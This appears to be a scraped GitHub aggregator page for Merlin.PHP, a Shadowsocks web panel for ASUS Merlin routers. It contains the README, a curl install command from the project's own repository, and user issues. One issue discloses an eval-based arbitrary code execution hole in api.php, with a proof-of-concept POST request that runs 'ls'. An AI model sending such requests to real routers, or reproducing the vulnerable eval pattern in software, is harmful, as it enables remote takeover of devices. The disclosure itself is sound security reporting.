Git Product home page Git Product logo

merlin.php's Introduction

Merlin.PHP

項目已停止維護

此項目功能已經遷移到 https://github.com/qoli/AtomicR 項目。

重要說明

  • 由於 GitHub 的 SSL 更新,導致低於 0.6.6 版本的無法繼續使用 wget 更新內容。請重新執行一鍵安裝腳本,將程序安裝到最新版本即可繼續更新了。

面向 ASUS﹣MERLIN 的 SS Web 管理面板。

只支持 http://koolshare.io 下的固件版本。

Dribbble

If u love this, please 'LOVE' on Dribbble.

https://dribbble.com/shots/2786309-Merlin-WEB-Tools

Github

And don't forget get me a STAR on github.

Thx ❤️

User interface

iPhone-Safari

功能

為了便捷查看網絡狀態的目的而開發,支持 SS 的重開、以及切換服務器等功能。

  • 網絡測試和監視。
  • 重新連接網絡(WLAN)。
  • 快速重新連接 SS。
  • 切換 SS 服務器。

開發描述

  1. ASUS 的路由器很傻,每次都需要一個難看的後臺,並且輸入賬戶密碼,很煩;
  2. Koolshare 的 ASUS 固件的確很好,不過從 UI、操作還是不夠便利;
  3. Koolshare 的 SS 重啟速度太慢了。

基於以上三點,故之而個人開發了這個 SS 管理後臺。

很多時候,當國外連線「Problem Detected」的情況下,一般都是 DNSMASQ 服務出了問題。簡單來說,就是你平時能上 QQ 不能打開網頁一樣。我們只需要啟動一下 DNSMASQ 服務就應該可以了。

又有些時候,我們玩 PS4 當和朋友遇到 NAT 限制錯誤時候,這個就需要進行 PPPOE 重新撥號了。

所以,在我的 Web 控制板上,提供了「Network」和「ShadowSocks」兩個重啟按鈕。

**Network:**將會重新連線 WAN,并重啟 DNSMASQ;

**ShadowSocks:**將會重新連接 SS,并重啟 DNSMAQS;

開發環境

OS: ASUS-MERLIN

Firmware 固件: 380.59_X6.6.1

硬件: RT-AC68U

最後測試固件: 380.66_4-X7.5

安裝

安裝需求已經移除下載大師的安裝需求,支持 7.6 版本安裝

安裝步驟

在 admin 後臺面板,激活 SSH 功能;

step1

使用你熟悉的工具,登入 SSH

運行安裝腳本

curl -LO https://github.com/qoli/Merlin.PHP/raw/master/bin/install/install.sh && chmod +x install.sh && ./install.sh

感謝

打包

進入 autoupdate 目錄,運行 ./build.sh

SFTP

ipkg install openssh-sftp-server

merlin.php's People

Contributors

qoli avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar

merlin.php's Issues

會遇到 Warning: shell_exec() 的警告

Warning: shell_exec() [function.shell-exec]: Unable to execute 'chmod +x /opt/share/www/bin/autoupdate/update.sh' in /tmp/mnt/sdb1/asusware.arm/share/www/app.php on line 31

Warning: shell_exec() [function.shell-exec]: Unable to execute 'chmod +x /opt/share/www/bin/autoupdate/check.sh' in /tmp/mnt/sdb1/asusware.arm/share/www/app.php on line 32

Warning: shell_exec() [function.shell-exec]: Unable to execute 'chmod +x /opt/share/www/bin/autoupdate/reinstall.sh' in /tmp/mnt/sdb1/asusware.arm/share/www/app.php on line 33

Warning: shell_exec() [function.shell-exec]: Unable to execute 'chmod +x /opt/share/www/bin/script/ssconfig.sh' in /tmp/mnt/sdb1/asusware.arm/share/www/app.php on line 34

Warning: shell_exec() [function.shell-exec]: Unable to execute 'chmod +x /opt/share/www/bin/script/netspeed.sh' in /tmp/mnt/sdb1/asusware.arm/share/www/app.php on line 35

2016-07-28 7 33 45

ac88U安装不成功

安装完成了,但无法连接。安装过程中中间出现过lightpad is not found,ipkg: not found。我现在的固件是梅林6.61,是不是不支持AC88U啊。问下JFFS要打开吗?

網路類型: null

1.网络类型一直显示为NULL

Jul 30 10:06:44 lwsts[808]: websocket writing but the buf_info is null
Jul 30 10:06:45 login[10518]: root login on 'pts/1'
Jul 30 10:06:46 lwsts[10540]: ERROR on binding to port 16661 (-1 98)
Jul 30 10:06:46 lwsts[10540]: libwebsocket init failed
Jul 30 10:06:48 lwsts[808]: websocket writing but the buf_info is null
这个是后台的错误日志不知道有没有关联,还有我的路由器管理用户名不是root
2.SS线路列表里面没有显示目前在使用什么线路
就是那个绿色开关不能实时显示哪条线路是开着的
http://v1.freep.cn/3tb_160730102007tu8a512293.jpg

安全问题-代码执行漏洞

在api.php中使用了eval函数,其他几个参数可控制导致任意代码执行。
$c = new $o();
$o = _GET("class",'unknow');
$f = _GET('function','unknow');
$agrs = implode(',',$_POST);
可以看出$o是一个对象,$c是$o对象的实例化,$f是对象的成员方法,$agrs是post传入的参数,也就是成员方法的参数。

poc:

POST /6/api.php?function=command&class=remote HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded

cc='ls'

跟踪执行流程,实际是执行了下面的代码,导致任意代码执行漏洞。
$c = new remote;
$j = $c->command('ls');

重启路由器后,无法连接!

原来用着好的,在安装了“梅林首页增加部分系统信息”插件后,重启路由器后就打不开192.168.2.1:81网页了,重新安装软件包还是不行!

使用本工具切换节点后,merlin前端显示问题

很好的工具,刚才测试了下,发现个小问题
使用使用本工具切换节点后,merlin前端显示的模式和节点还是原来的,但是发现后台确实是已经切换成功了
比如我要从节点6的大陆白名单模式

切换前

节点6:
ssconf_basic_node_6=1
当前结点值
ssconf_basic_mode=5

切换后应该如下

节点6初始值:
ssconf_basic_node_6=2
当前结点初始值
ssconf_basic_mode=6

现在的情况是这两个值没有变化,请修复

SS 使用域名時候,將無法判斷 Working 狀態

代碼片段:

    if [ "$server_ip" == $array1 ];then
        isWork="1"
    else
        isWork="0"
    fi

    echo ""$array9 ": (working: "$isWork") " $array1

檔案:
/opt/share/www/bin/script/ssconfig.sh

原因:
dbns 從 shadowsocks_server_ip 返回值為解釋后 IP。
然而參與比較的是域名,所以無法判斷。

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.